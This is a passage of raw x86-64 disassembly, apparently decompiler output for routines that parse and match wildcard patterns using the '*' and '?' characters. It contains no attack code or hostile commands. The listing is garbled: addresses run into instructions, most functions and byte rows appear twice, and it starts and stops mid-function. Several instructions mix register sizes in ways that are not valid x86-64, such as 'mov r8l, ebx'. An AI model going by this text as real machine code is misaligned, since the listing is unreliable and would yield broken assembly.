00447dc6loc_447dc6:
00447dc6mov rax, [rbp+128]
00447dcdmovsxd rdx, [rbp+144]
00447dd4cmp [rax+2*rdx-2], 42
00447ddajne 0x447de0
00447ddcadd [rbp+124], 1
00447de0
00447de0loc_447de0:
00447de0add [rbp+144], 1
00447de7sub ecx, 1
00447deatest ecx, ecx
00447decjne 0x447dc6
00447dee
00447deeloc_447dee:
00447deenop
00447defcmp [rbp+124], 0
00447df3je 0x447e8e
00447df9mov [rbp+152], 0
00447e04nop
00447e05lea rcx, [rbp+56]
00447e09mov rdx, [rbp+112]
00447e0dmov r8l, 1
00447e13mov r9l, [rbp+140]
00447e1asub r9l, 1
00447e1ecall fn_40d650
00447e23lea rcx, [rbp+152]
00447e2amov rdx, [rbp+56]
00447e2elea r8, [rip+359]
00447e35call fn_40d230
00447e3amov [rbp+80], 0
00447e41mov rax, [rbp+112]
00447e45test rax, rax
00447e48je 0x447e53
00447e4amov eax, [rax-4]
00447e4dshr eax, 1
00447e50mov [rbp+80], eax
00447e53
00447e53loc_447e53:
00447e53lea rcx, [rbp+48]
00447e57mov rdx, [rbp+112]
00447e5bmov r8l, [rbp+136]
00447e62mov r9l, [rbp+80]
00447e66call fn_40d650
00447e6blea rcx, [rbp+112]
00447e6fmov rdx, [rbp+152]
00447e76mov r8, [rbp+48]
00447e7acall fn_40d230
00447e7fnop
00447e80lea rcx, [rbp+152]
00447e87call fn_40bd90
00447e8cjmp 0x447e9a
00447e8e
00447e8eloc_447e8e:
00447e8emov eax, [rbp+136]
00447e94mov [rbp+140], eax
00447e9a
00447e9aloc_447e9a:
00447e9aadd [rbp+140], 1
00447ea1
00447ea1loc_447ea1:
00447ea1mov [rbp+100], 0
00447ea8mov rax, [rbp+112]
00447eactest rax, rax
00447eafje 0x447eba
00447eb1mov eax, [rax-4]
00447eb4shr eax, 1
00447eb7mov [rbp+100], eax
00447eba
00447ebaloc_447eba:
00447ebamov eax, [rbp+140]
00447ec0cmp eax, [rbp+100]
00447ec3jl 0x447ca9
00447ec9mov rax, [rbp+176]
00447ed0mov rax, [rax]
00447ed3mov rax, [rax+8]
00447ed7movsxd rcx, [rbp+148]
00447edelea rcx, [rax+8*rcx]
00447ee2mov rdx, [rbp+112]
00447ee6call fn_40d820
00447eebadd [rbp+148], 1
00447ef2mov eax, [rbp+44]
00447ef5sub eax, 1
00447ef8mov [rbp+44], eax
00447efbmov eax, [rbp+44]
00447efetest eax, eax
00447f00jne 0x447c62
00447f06
00447f06loc_447f06:
00447f06nop
00447f07nop
00447f08lea rcx, [rbp+48]
00447f0cmov edx, 3
00447f11call fn_40be70
00447f16lea rcx, [rbp+112]
00447f1acall fn_40bd90
00447f1flea rcx, [rbp+128]
00447f26call fn_40bd90
00447f2blea rsp, [rbp+160]
00447f32pop rbp
00447f33ret
00447be0
00447be0fn_447be0:
00447be0push rbp
00447be1sub rsp, 160
00447be8mov rbp, rsp
00447bebmov [rbp+48], 0
00447bf3mov [rbp+56], 0
00447bfbmov [rbp+64], 0
00447c03mov [rbp+128], 0
00447c0emov [rbp+112], 0
00447c16mov [rbp+152], 0
00447c21mov [rbp+72], rbp
00447c25mov [rbp+176], rcx
00447c2cnop
00447c2dxor eax, eax
00447c2fmov rcx, [rbp+176]
00447c36mov rcx, [rcx]
00447c39mov ecx, [rcx+16]
00447c3csub ecx, 1
00447c3fmov [rbp+44], ecx
00447c42mov [rbp+148], eax
00447c48mov ecx, [rbp+44]
00447c4bcmp [rbp+148], ecx
00447c51jg 0x447f06
00447c57mov ecx, [rbp+44]
00447c5asub ecx, eax
00447c5cadd ecx, 1
00447c5fmov [rbp+44], ecx
00447c62
00447c62loc_447c62:
00447c62lea rcx, [rbp+64]
00447c66mov rax, [rbp+176]
00447c6dmov rax, [rax]
00447c70mov rax, [rax+8]
00447c74movsxd rdx, [rbp+148]
00447c7bmov rdx, [rax+8*rdx]
00447c7fcall fn_40d850
00447c84lea rcx, [rbp+112]
00447c88mov rdx, [rbp+64]
00447c8ccall fn_4220f0
00447c91lea rcx, [rbp+112]
00447c95call fn_447b90
00447c9amov [rbp+140], 1
00447ca4jmp 0x447ea1
00447ca9
00447ca9loc_447ca9:
00447ca9mov rax, [rbp+112]
00447cadmovsxd rcx, [rbp+140]
00447cb4movzx rax, [rax+2*rcx-2]
00447cbacmp ax, 42
00447cbeje 0x447cca
00447cc0cmp ax, 63
00447cc4jne 0x447e9a
00447cca
00447ccaloc_447cca:
00447ccamov [rbp+96], 0
00447cd1mov rax, [rbp+112]
00447cd5test rax, rax
00447cd8je 0x447ce3
00447cdamov ecx, [rax-4]
00447cddshr ecx, 1
00447ce0mov [rbp+96], ecx
00447ce3
00447ce3loc_447ce3:
00447ce3mov ecx, [rbp+96]
00447ce6add ecx, 1
00447ce9mov [rbp+136], ecx
00447cefmov ecx, [rbp+140]
00447cf5add ecx, 1
00447cf8mov [rbp+92], ecx
00447cfbmov [rbp+88], 0
00447d02test rax, rax
00447d05je 0x447d10
00447d07mov eax, [rax-4]
00447d0ashr eax, 1
00447d0dmov [rbp+88], eax
00447d10
00447d10loc_447d10:
00447d10mov eax, [rbp+92]
00447d13mov ecx, [rbp+88]
00447d16mov [rbp+144], eax
00447d1ccmp [rbp+144], ecx
00447d22jg 0x447d62
00447d24sub ecx, eax
00447d26add ecx, 1
00447d29
00447d29loc_447d29:
00447d29mov rax, [rbp+112]
00447d2dmovsxd rdx, [rbp+144]
00447d34movzx rax, [rax+2*rdx-2]
00447d3acmp ax, 42
00447d3eje 0x447d54
00447d40cmp ax, 63
00447d44je 0x447d54
00447d46mov eax, [rbp+144]
00447d4cmov [rbp+136], eax
00447d52jmp 0x447d62
00447d54
00447d54loc_447d54:
00447d54add [rbp+144], 1
00447d5bsub ecx, 1
00447d5etest ecx, ecx
00447d60jne 0x447d29
00447d62
00447d62loc_447d62:
00447d62nop
00447d63lea rcx, [rbp+128]
00447d6amov rdx, [rbp+112]
00447d6emov r8l, [rbp+140]
00447d75mov r9l, [rbp+136]
00447d7csub r9l, [rbp+140]
00447d83call fn_40d650
00447d88mov [rbp+124], 0
00447d8fmov [rbp+84], 0
00447d96mov rax, [rbp+128]
00447d9dtest rax, rax
00447da0je 0x447dab
00447da2mov eax, [rax-4]
00447da5shr eax, 1
00447da8mov [rbp+84], eax
00447dab
00447dabloc_447dab:
00447dabmov eax, 1
00447db0mov ecx, [rbp+84]
00447db3mov [rbp+144], eax
00447db9cmp [rbp+144], ecx
00447dbfjg 0x447dee
00447dc1sub ecx, eax
00447dc3add ecx, 1
00447dc6
00447dc6loc_447dc6:
00447dc6mov rax, [rbp+128]
00447dcdmovsxd rdx, [rbp+144]
00447dd4cmp [rax+2*rdx-2], 42
00447ddajne 0x447de0
00447ddcadd [rbp+124], 1
00447de0
00447de0loc_447de0:
00447de0add [rbp+144], 1
00447de7sub ecx, 1
00447deatest ecx, ecx
00447decjne 0x447dc6
00447dee
00447deeloc_447dee:
00447deenop
00447defcmp [rbp+124], 0
00447df3je 0x447e8e
00447df9mov [rbp+152], 0
00447e04nop
00447e05lea rcx, [rbp+56]
00447e09mov rdx, [rbp+112]
00447e0dmov r8l, 1
00447e13mov r9l, [rbp+140]
00447e1asub r9l, 1
00447e1ecall fn_40d650
00447e23lea rcx, [rbp+152]
00447e2amov rdx, [rbp+56]
00447e2elea r8, [rip+359]
00447e35call fn_40d230
00447e3amov [rbp+80], 0
00447e41mov rax, [rbp+112]
00447e45test rax, rax
00447e48je 0x447e53
00447e4amov eax, [rax-4]
00447e4dshr eax, 1
00447e50mov [rbp+80], eax
00447e53
00447e53loc_447e53:
00447e53lea rcx, [rbp+48]
00447e57mov rdx, [rbp+112]
00447e5bmov r8l, [rbp+136]
00447e62mov r9l, [rbp+80]
00447e66call fn_40d650
00447e6blea rcx, [rbp+112]
00447e6fmov rdx, [rbp+152]
00447e76mov r8, [rbp+48]
00447e7acall fn_40d230
00447e7fnop
00447e80lea rcx, [rbp+152]
00447e87call fn_40bd90
00447e8cjmp 0x447e9a
00447e8e
00447e8eloc_447e8e:
00447e8emov eax, [rbp+136]
00447e94mov [rbp+140], eax
00447e9a
00447e9aloc_447e9a:
00447e9aadd [rbp+140], 1
00447ea1
00447ea1loc_447ea1:
00447ea1mov [rbp+100], 0
00447ea8mov rax, [rbp+112]
00447eactest rax, rax
00447eafje 0x447eba
00447eb1mov eax, [rax-4]
00447eb4shr eax, 1
00447eb7mov [rbp+100], eax
00447eba
00447ebaloc_447eba:
00447ebamov eax, [rbp+140]
00447ec0cmp eax, [rbp+100]
00447ec3jl 0x447ca9
00447ec9mov rax, [rbp+176]
00447ed0mov rax, [rax]
00447ed3mov rax, [rax+8]
00447ed7movsxd rcx, [rbp+148]
00447edelea rcx, [rax+8*rcx]
00447ee2mov rdx, [rbp+112]
00447ee6call fn_40d820
00447eebadd [rbp+148], 1
00447ef2mov eax, [rbp+44]
00447ef5sub eax, 1
00447ef8mov [rbp+44], eax
00447efbmov eax, [rbp+44]
00447efetest eax, eax
00447f00jne 0x447c62
00447f06
00447f06loc_447f06:
00447f06nop
00447f07nop
00447f08lea rcx, [rbp+48]
00447f0cmov edx, 3
00447f11call fn_40be70
00447f16lea rcx, [rbp+112]
00447f1acall fn_40bd90
00447f1flea rcx, [rbp+128]
00447f26call fn_40bd90
00447f2blea rsp, [rbp+160]
00447f32pop rbp
00447f33ret
00447be0
00447f34
00447f34 48 8d 40 00 48 8d 04 05 00 00 00 00 H.@.H.......
00447f34 48 8d 40 00 48 8d 04 05 00 00 00 00 H.@.H.......
00447f40
00447f40fn_447f40:
00447f40push rbp
00447f41sub rsp, 32
00447f45mov rbp, rsp
00447f48lea rcx, [rdx+152]
00447f4fcall fn_40bd90
00447f54lea rsp, [rbp+32]
00447f58pop rbp
00447f59ret
00447f40
00447f40fn_447f40:
00447f40push rbp
00447f41sub rsp, 32
00447f45mov rbp, rsp
00447f48lea rcx, [rdx+152]
00447f4fcall fn_40bd90
00447f54lea rsp, [rbp+32]
00447f58pop rbp
00447f59ret
00447f40
00447f5a
00447f5a 64 48 8d 44 20 00 dH.D .
00447f5a 64 48 8d 44 20 00 dH.D .
00447f60
00447f60fn_447f60:
00447f60push rbp
00447f61push rbx
00447f62sub rsp, 40
00447f66mov rbp, rsp
00447f69mov rbx, rdx
00447f6clea rcx, [rbx+48]
00447f70mov edx, 3
00447f75call fn_40be70
00447f7alea rcx, [rbx+112]
00447f7ecall fn_40bd90
00447f83lea rcx, [rbx+128]
00447f8acall fn_40bd90
00447f8flea rsp, [rbp+40]
00447f93pop rbx
00447f94pop rbp
00447f95ret
00447f60
00447f60fn_447f60:
00447f60push rbp
00447f61push rbx
00447f62sub rsp, 40
00447f66mov rbp, rsp
00447f69mov rbx, rdx
00447f6clea rcx, [rbx+48]
00447f70mov edx, 3
00447f75call fn_40be70
00447f7alea rcx, [rbx+112]
00447f7ecall fn_40bd90
00447f83lea rcx, [rbx+128]
00447f8acall fn_40bd90
00447f8flea rsp, [rbp+40]
00447f93pop rbx
00447f94pop rbp
00447f95ret
00447f60
00447f96
00447f96 00 00 02 00 00 00 2a 00 00 00 ......*...
00447f96 00 00 02 00 00 00 2a 00 00 00 ......*...
00447fa0
00447fa0fn_447fa0:
00447fa0push rbp
00447fa1push r14
00447fa3push r13
00447fa5push rdi
00447fa6push rsi
00447fa7push rbx
00447fa8sub rsp, 104
00447facmov rbp, rsp
00447fafmov [rbp+40], rcx
00447fb3mov [rbp+72], 0
00447fbbmov [rbp+64], 0
00447fc3mov [rbp+88], 0
00447fcbmov [rbp+80], 0
00447fd3nop
00447fd4lea rcx, [rip+0x2878d]
00447fdbmov rdx, [rip-1186]
00447fe2call fn_410600
00447fe7lea rcx, [rip+0x2877a]
00447feemov rdx, [rip-1205]
00447ff5mov r8l, 1
00447ffbmov rax, [rbp+40]
00447fffmov rax, [rax]
00448002mov r9l, [rax+16]
00448006call fn_410430
0044800bxor eax, eax
0044800dmov rcx, [rbp+40]
00448011mov rcx, [rcx]
00448014mov esi, [rcx+16]
00448017sub esi, 1
0044801amov ecx, eax
0044801ccmp ecx, esi
0044801emov [rbp+60], ecx
00448021jg 0x4482ce
00448027sub esi, eax
00448029add esi, 1
0044802c
0044802cloc_44802c:
0044802clea rcx, [rbp+80]
00448030mov rax, [rbp+40]
00448034mov rax, [rax]
00448037mov rax, [rax+8]
0044803bmov edx, [rbp+60]
0044803emovsxd rdx, edx
00448041mov rdx, [rax+8*rdx]
00448045call fn_40d850
0044804alea rcx, [rbp+88]
0044804emov rdx, [rbp+80]
00448052call fn_40c490
00448057xor eax, eax
00448059mov [rbp+52], eax
0044805cmov al, 1
0044805emov [rbp+59], al
00448061xor eax, eax
00448063mov rcx, [rbp+88]
00448067test rcx, rcx
0044806aje 0x448072
0044806cmov eax, [rcx-4]
0044806fshr eax, 1
00448072
00448072loc_448072:
00448072mov ecx, 1
00448077mov edx, eax
00448079mov ebx, ecx
0044807bcmp ebx, edx
0044807djg 0x4480ce
0044807fsub edx, ecx
00448081add edx, 1
00448084
00448084loc_448084:
00448084mov rax, [rbp+88]
00448088movsxd rcx, ebx
0044808bmovzx rax, [rax+2*rcx-2]
00448091cmp ax, 42
00448095je 0x44809d
00448097cmp ax, 63
0044809bjne 0x4480ad
0044809d
0044809dloc_44809d:
0044809dmov eax, [rbp+52]
004480a0add eax, 1
004480a3mov [rbp+52], eax
004480a6mov al, 1
004480a8mov [rbp+59], al
004480abjmp 0x4480c4
004480ad
004480adloc_4480ad:
004480admovzx rax, [rbp+59]
004480b2test al, al
004480b4je 0x4480c4
004480b6mov eax, [rbp+52]
004480b9add eax, 1
004480bcmov [rbp+52], eax
004480bfxor eax, eax
004480c1mov [rbp+59], al
004480c4
004480c4loc_4480c4:
004480c4add ebx, 1
004480c7sub edx, 1
004480catest edx, edx
004480ccjne 0x448084
004480ce
004480celoc_4480ce:
004480cenop
004480cfmov ebx, [rbp+60]
004480d2movsxd rbx, ebx
004480d5mov rax, [rip+0x2868c]
004480dclea rcx, [rax+8*rbx]
004480e0mov rdx, [rip-1535]
004480e7call fn_410600
004480ecmov rax, [rip+0x28675]
004480f3lea rcx, [rax+8*rbx]
004480f7mov rdx, [rip-1558]
004480femov r8l, 1
00448104mov r9l, [rbp+52]
00448108movsxd r9, r9l
0044810bcall fn_410430
00448110xor eax, eax
00448112mov [rbp+52], eax
00448115xor eax, eax
00448117mov [rbp+59], al
0044811axor eax, eax
0044811cmov rcx, [rbp+80]
00448120test rcx, rcx
00448123je 0x44812b
00448125mov eax, [rcx-4]
00448128shr eax, 1
0044812b
0044812bloc_44812b:
0044812bmov ecx, 1
00448130mov r13l, eax
00448133mov ebx, ecx
00448135cmp ebx, r13l
00448138jg 0x4482b9
0044813esub r13l, ecx
00448141add r13l, 1
00448145
00448145loc_448145:
00448145movsxd rax, ebx
00448148mov rcx, [rbp+80]
0044814cmovzx rdi, [rcx+2*rax-2]
00448152cmp di, 42
00448156jne 0x44819b
00448158movzx rax, [rbp+59]
0044815dtest al, al
0044815fje 0x44816a
00448161mov eax, [rbp+52]
00448164add eax, 1
00448167mov [rbp+52], eax
0044816a
0044816aloc_44816a:
0044816amov rax, [rip+0x285f7]
00448171mov ecx, [rbp+60]
00448174movsxd rcx, ecx
00448177mov rax, [rax+8*rcx]
0044817bmov ecx, [rbp+52]
0044817emovsxd rcx, ecx
00448181add rcx, rcx
00448184mov [rax+8*rcx], 0
00448188mov eax, [rbp+52]
0044818badd eax, 1
0044818emov [rbp+52], eax
00448191xor eax, eax
00448193mov [rbp+59], al
00448196jmp 0x4482a9
0044819b
0044819bloc_44819b:
0044819bcmp di, 63
0044819fjne 0x4481e4
004481a1movzx rax, [rbp+59]
004481a6test al, al
004481a8je 0x4481b3
004481aamov eax, [rbp+52]
004481adadd eax, 1
004481b0mov [rbp+52], eax
004481b3
004481b3loc_4481b3:
004481b3mov rax, [rip+0x285ae]
004481bamov ecx, [rbp+60]
004481bdmovsxd rcx, ecx
004481c0mov rax, [rax+8*rcx]
004481c4mov ecx, [rbp+52]
004481c7movsxd rcx, ecx
004481caadd rcx, rcx
004481cdmov [rax+8*rcx], 1
004481d1mov eax, [rbp+52]
004481d4add eax, 1
004481d7mov [rbp+52], eax
004481daxor eax, eax
004481dcmov [rbp+59], al
004481dfjmp 0x4482a9
004481e4
004481e4loc_4481e4:
004481e4movzx rcx, [rbp+59]
004481e9test cl, cl
004481ebjne 0x448240
004481edmov edi, [rbp+52]
004481f0movsxd rdi, edi
004481f3mov rcx, [rip+0x2856e]
004481famov edx, [rbp+60]
004481fdmovsxd rdx, edx
00448200mov rcx, [rcx+8*rdx]
00448204mov rdx, rdi
00448207add rdx, rdx
0044820amov [rcx+8*rdx], 2
0044820emov rcx, [rip+0x28553]
00448215mov edx, [rbp+60]
00448218movsxd rdx, edx
0044821bmov rcx, [rcx+8*rdx]
0044821fmov rdx, rdi
00448222add rdx, rdx
00448225lea rcx, [rcx+8*rdx+8]
0044822amov rdx, [rbp+80]
0044822emovzx rdx, [rdx+2*rax-2]
00448234call fn_40d080
00448239mov al, 1
0044823bmov [rbp+59], al
0044823ejmp 0x4482a9
00448240
00448240loc_448240:
00448240mov r14l, [rbp+52]
00448244movsxd r14, r14l
00448247lea rcx, [rbp+72]
0044824bmov rax, [rip+0x28516]
00448252mov edx, [rbp+60]
00448255movsxd rdx, edx
00448258mov rax, [rax+8*rdx]
0044825cmov rdx, r14
0044825fadd rdx, rdx
00448262mov rdx, [rax+8*rdx+8]
00448267call fn_40d820
0044826clea rcx, [rbp+64]
00448270mov edx, edi
00448272call fn_40d730
00448277lea rcx, [rbp+72]
0044827bmov rdx, [rbp+64]
0044827fcall fn_40d9b0
00448284mov rax, [rip+0x284dd]
0044828bmov ecx, [rbp+60]
0044828emovsxd rcx, ecx
00448291mov rax, [rax+8*rcx]
00448295mov rcx, r14
00448298add rcx, rcx
0044829blea rcx, [rax+8*rcx+8]
004482a0mov rdx, [rbp+72]
004482a4call fn_40d850
004482a9
004482a9loc_4482a9:
004482a9add ebx, 1
004482acsub r13l, 1
004482b0test r13l, r13l
004482b3jne 0x448145
004482b9
004482b9loc_4482b9:
004482b9nop
004482bamov eax, [rbp+60]
004482bdadd eax, 1
004482c0mov [rbp+60], eax
004482c3sub esi, 1
004482c6test esi, esi
004482c8jne 0x44802c
004482ce
004482celoc_4482ce:
004482cenop
004482cfnop
004482d0lea rcx, [rbp+64]
004482d4mov edx, 2
004482d9call fn_40bdd0
004482delea rcx, [rbp+80]
004482e2mov edx, 2
004482e7call fn_40be70
004482eclea rsp, [rbp+104]
004482f0pop rbx
004482f1pop rsi
004482f2pop rdi
004482f3pop r13
004482f5pop r14
004482f7pop rbp
004482f8ret
00447fa0
00447fa0fn_447fa0:
00447fa0push rbp
00447fa1push r14
00447fa3push r13
00447fa5push rdi
00447fa6push rsi
00447fa7push rbx
00447fa8sub rsp, 104
00447facmov rbp, rsp
00447fafmov [rbp+40], rcx
00447fb3mov [rbp+72], 0
00447fbbmov [rbp+64], 0
00447fc3mov [rbp+88], 0
00447fcbmov [rbp+80], 0
00447fd3nop
00447fd4lea rcx, [rip+0x2878d]
00447fdbmov rdx, [rip-1186]
00447fe2call fn_410600
00447fe7lea rcx, [rip+0x2877a]
00447feemov rdx, [rip-1205]
00447ff5mov r8l, 1
00447ffbmov rax, [rbp+40]
00447fffmov rax, [rax]
00448002mov r9l, [rax+16]
00448006call fn_410430
0044800bxor eax, eax
0044800dmov rcx, [rbp+40]
00448011mov rcx, [rcx]
00448014mov esi, [rcx+16]
00448017sub esi, 1
0044801amov ecx, eax
0044801ccmp ecx, esi
0044801emov [rbp+60], ecx
00448021jg 0x4482ce
00448027sub esi, eax
00448029add esi, 1
0044802c
0044802cloc_44802c:
0044802clea rcx, [rbp+80]
00448030mov rax, [rbp+40]
00448034mov rax, [rax]
00448037mov rax, [rax+8]
0044803bmov edx, [rbp+60]
0044803emovsxd rdx, edx
00448041mov rdx, [rax+8*rdx]
00448045call fn_40d850
0044804alea rcx, [rbp+88]
0044804emov rdx, [rbp+80]
00448052call fn_40c490
00448057xor eax, eax
00448059mov [rbp+52], eax
0044805cmov al, 1
0044805emov [rbp+59], al
00448061xor eax, eax
00448063mov rcx, [rbp+88]
00448067test rcx, rcx
0044806aje 0x448072
0044806cmov eax, [rcx-4]
0044806fshr eax, 1
00448072
00448072loc_448072:
00448072mov ecx, 1
00448077mov edx, eax
00448079mov ebx, ecx
0044807bcmp ebx, edx
0044807djg 0x4480ce
0044807fsub edx, ecx
00448081add edx, 1
00448084
00448084loc_448084:
00448084mov rax, [rbp+88]
00448088movsxd rcx, ebx
0044808bmovzx rax, [rax+2*rcx-2]
00448091cmp ax, 42
00448095je 0x44809d
00448097cmp ax, 63
0044809bjne 0x4480ad
0044809d
0044809dloc_44809d:
0044809dmov eax, [rbp+52]
004480a0add eax, 1
004480a3mov [rbp+52], eax
004480a6mov al, 1
004480a8mov [rbp+59], al
004480abjmp 0x4480c4
004480ad
004480adloc_4480ad:
004480admovzx rax, [rbp+59]
004480b2test al, al
004480b4je 0x4480c4
004480b6mov eax, [rbp+52]
004480b9add eax, 1
004480bcmov [rbp+52], eax
004480bfxor eax, eax
004480c1mov [rbp+59], al
004480c4
004480c4loc_4480c4:
004480c4add ebx, 1
004480c7sub edx, 1
004480catest edx, edx
004480ccjne 0x448084
004480ce
004480celoc_4480ce:
004480cenop
004480cfmov ebx, [rbp+60]
004480d2movsxd rbx, ebx
004480d5mov rax, [rip+0x2868c]
004480dclea rcx, [rax+8*rbx]
004480e0mov rdx, [rip-1535]
004480e7call fn_410600
004480ecmov rax, [rip+0x28675]
004480f3lea rcx, [rax+8*rbx]
004480f7mov rdx, [rip-1558]
004480femov r8l, 1
00448104mov r9l, [rbp+52]
00448108movsxd r9, r9l
0044810bcall fn_410430
00448110xor eax, eax
00448112mov [rbp+52], eax
00448115xor eax, eax
00448117mov [rbp+59], al
0044811axor eax, eax
0044811cmov rcx, [rbp+80]
00448120test rcx, rcx
00448123je 0x44812b
00448125mov eax, [rcx-4]
00448128shr eax, 1
0044812b
0044812bloc_44812b:
0044812bmov ecx, 1
00448130mov r13l, eax
00448133mov ebx, ecx
00448135cmp ebx, r13l
00448138jg 0x4482b9
0044813esub r13l, ecx
00448141add r13l, 1
00448145
00448145loc_448145:
00448145movsxd rax, ebx
00448148mov rcx, [rbp+80]
0044814cmovzx rdi, [rcx+2*rax-2]
00448152cmp di, 42
00448156jne 0x44819b
00448158movzx rax, [rbp+59]
0044815dtest al, al
0044815fje 0x44816a
00448161mov eax, [rbp+52]
00448164add eax, 1
00448167mov [rbp+52], eax
0044816a
0044816aloc_44816a:
0044816amov rax, [rip+0x285f7]
00448171mov ecx, [rbp+60]
00448174movsxd rcx, ecx
00448177mov rax, [rax+8*rcx]
0044817bmov ecx, [rbp+52]
0044817emovsxd rcx, ecx
00448181add rcx, rcx
00448184mov [rax+8*rcx], 0
00448188mov eax, [rbp+52]
0044818badd eax, 1
0044818emov [rbp+52], eax
00448191xor eax, eax
00448193mov [rbp+59], al
00448196jmp 0x4482a9
0044819b
0044819bloc_44819b:
0044819bcmp di, 63
0044819fjne 0x4481e4
004481a1movzx rax, [rbp+59]
004481a6test al, al
004481a8je 0x4481b3
004481aamov eax, [rbp+52]
004481adadd eax, 1
004481b0mov [rbp+52], eax
004481b3
004481b3loc_4481b3:
004481b3mov rax, [rip+0x285ae]
004481bamov ecx, [rbp+60]
004481bdmovsxd rcx, ecx
004481c0mov rax, [rax+8*rcx]
004481c4mov ecx, [rbp+52]
004481c7movsxd rcx, ecx
004481caadd rcx, rcx
004481cdmov [rax+8*rcx], 1
004481d1mov eax, [rbp+52]
004481d4add eax, 1
004481d7mov [rbp+52], eax
004481daxor eax, eax
004481dcmov [rbp+59], al
004481dfjmp 0x4482a9
004481e4
004481e4loc_4481e4:
004481e4movzx rcx, [rbp+59]
004481e9test cl, cl
004481ebjne 0x448240
004481edmov edi, [rbp+52]
004481f0movsxd rdi, edi
004481f3mov rcx, [rip+0x2856e]
004481famov edx, [rbp+60]
004481fdmovsxd rdx, edx
00448200mov rcx, [rcx+8*rdx]
00448204mov rdx, rdi
00448207add rdx, rdx
0044820amov [rcx+8*rdx], 2
0044820emov rcx, [rip+0x28553]
00448215mov edx, [rbp+60]
00448218movsxd rdx, edx
0044821bmov rcx, [rcx+8*rdx]
0044821fmov rdx, rdi
00448222add rdx, rdx
00448225lea rcx, [rcx+8*rdx+8]
0044822amov rdx, [rbp+80]
0044822emovzx rdx, [rdx+2*rax-2]
00448234call fn_40d080
00448239mov al, 1
0044823bmov [rbp+59], al
0044823ejmp 0x4482a9
00448240
00448240loc_448240:
00448240mov r14l, [rbp+52]
00448244movsxd r14, r14l
00448247lea rcx, [rbp+72]
0044824bmov rax, [rip+0x28516]
00448252mov edx, [rbp+60]
00448255movsxd rdx, edx
00448258mov rax, [rax+8*rdx]
0044825cmov rdx, r14
0044825fadd rdx, rdx
00448262mov rdx, [rax+8*rdx+8]
00448267call fn_40d820
0044826clea rcx, [rbp+64]
00448270mov edx, edi
00448272call fn_40d730
00448277lea rcx, [rbp+72]
0044827bmov rdx, [rbp+64]
0044827fcall fn_40d9b0
00448284mov rax, [rip+0x284dd]
0044828bmov ecx, [rbp+60]
0044828emovsxd rcx, ecx
00448291mov rax, [rax+8*rcx]
00448295mov rcx, r14
00448298add rcx, rcx
0044829blea rcx, [rax+8*rcx+8]
004482a0mov rdx, [rbp+72]
004482a4call fn_40d850
004482a9
004482a9loc_4482a9:
004482a9add ebx, 1
004482acsub r13l, 1
004482b0test r13l, r13l
004482b3jne 0x448145
004482b9
004482b9loc_4482b9:
004482b9nop
004482bamov eax, [rbp+60]
004482bdadd eax, 1
004482c0mov [rbp+60], eax
004482c3sub esi, 1
004482c6test esi, esi
004482c8jne 0x44802c
004482ce
004482celoc_4482ce:
004482cenop
004482cfnop
004482d0lea rcx, [rbp+64]
004482d4mov edx, 2
004482d9call fn_40bdd0
004482delea rcx, [rbp+80]
004482e2mov edx, 2
004482e7call fn_40be70
004482eclea rsp, [rbp+104]
004482f0pop rbx
004482f1pop rsi
004482f2pop rdi
004482f3pop r13
004482f5pop r14
004482f7pop rbp
004482f8ret
00447fa0
004482f9
004482f9 48 8d 80 00 00 00 00 H......
004482f9 48 8d 80 00 00 00 00 H......
00448300
00448300fn_448300:
00448300push rbp
00448301push rbx
00448302sub rsp, 40
00448306mov rbp, rsp
00448309mov rbx, rdx
0044830clea rcx, [rbx+64]
00448310mov edx, 2
00448315call fn_40bdd0
0044831alea rcx, [rbx+80]
0044831emov edx, 2
00448323call fn_40be70
00448328lea rsp, [rbp+40]
0044832cpop rbx
0044832dpop rbp
0044832eret
00448300
00448300fn_448300:
00448300push rbp
00448301push rbx
00448302sub rsp, 40
00448306mov rbp, rsp
00448309mov rbx, rdx
0044830clea rcx, [rbx+64]
00448310mov edx, 2
00448315call fn_40bdd0
0044831alea rcx, [rbx+80]
0044831emov edx, 2
00448323call fn_40be70
00448328lea rsp, [rbp+40]
0044832cpop rbx
0044832dpop rbp
0044832eret
00448300
0044832f
0044832f // align 0x10
0044832f // align 0x10
00448330
00448330fn_448330:
00448330push rbp
00448331push r13
00448333push rdi
00448334push rsi
00448335push rbx
00448336sub rsp, 48
0044833amov rbp, rsp
0044833dmov [rbp+36], edx
00448340mov [rbp+40], r8l
00448344mov [rbp+96], rcx
00448348lea rcx, [rbp+96]
0044834ccall fn_40bf00
00448351nop
00448352xor eax, eax
00448354mov [rbp+47], al
00448357mov eax, [rbp+40]
0044835amov rcx, [rip+0x28407]
00448361mov edx, [rbp+36]
00448364movsxd rdx, edx
00448367mov rcx, [rcx+8*rdx]
0044836btest rcx, rcx
0044836eje 0x448374
00448370mov rcx, [rcx-8]
00448374
00448374loc_448374:
00448374mov esi, ecx
00448376sub esi, 2
00448379mov ebx, eax
0044837bcmp ebx, esi
0044837djg 0x44851e
00448383sub esi, eax
00448385add esi, 1
00448388
00448388loc_448388:
00448388mov r13l, [rbp+36]
0044838cmovsxd r13, r13l
0044838fmovsxd rdi, ebx
00448392mov rax, [rip+0x283cf]
00448399mov rax, [rax+8*r13]
0044839dmov rcx, rdi
004483a0add rcx, rcx
004483a3movzx rax, [rax+8*rcx]
004483a8sub al, 1
004483abcmp al, -1
004483aeje 0x4483c8
004483b0test al, al
004483b2je 0x448447
004483b8sub al, 1
004483bbtest al, al
004483bdjne 0x448510
004483c3jmp 0x448488
004483c8
004483c8loc_4483c8:
004483c8mov rcx, [rbp+96]
004483ccmov edx, [rbp+36]
004483cfmov r8l, ebx
004483d2add r8l, 1
004483d6call fn_448330
004483dbtest al, al
004483ddje 0x44842d
004483dfmov al, 1
004483e1mov [rbp+47], al
004483e4jmp 0x4485c2
004483e9
004483e9loc_4483e9:
004483e9xor eax, eax
004483ebtest rcx, rcx
004483eeje 0x4483f6
004483f0mov eax, [rcx-4]
004483f3shr eax, 1
004483f6
004483f6loc_4483f6:
004483f6lea rcx, [rbp+96]
004483famov rdx, [rbp+96]
004483femov r8l, 2
00448404mov r9l, eax
00448407call fn_40d650
0044840cmov rcx, [rbp+96]
00448410mov edx, [rbp+36]
00448413mov r8l, ebx
00448416add r8l, 1
0044841acall fn_448330
0044841ftest al, al
00448421je 0x44842d
00448423mov al, 1
00448425mov [rbp+47], al
00448428jmp 0x4485c2
0044842d
0044842dloc_44842d:
0044842dxor eax, eax
0044842fmov rcx, [rbp+96]
00448433test rcx, rcx
00448436je 0x44843e
00448438mov eax, [rcx-4]
0044843bshr eax, 1
0044843e
0044843eloc_44843e:
0044843etest eax, eax
00448440jne 0x4483e9
00448442jmp 0x4485c2
00448447
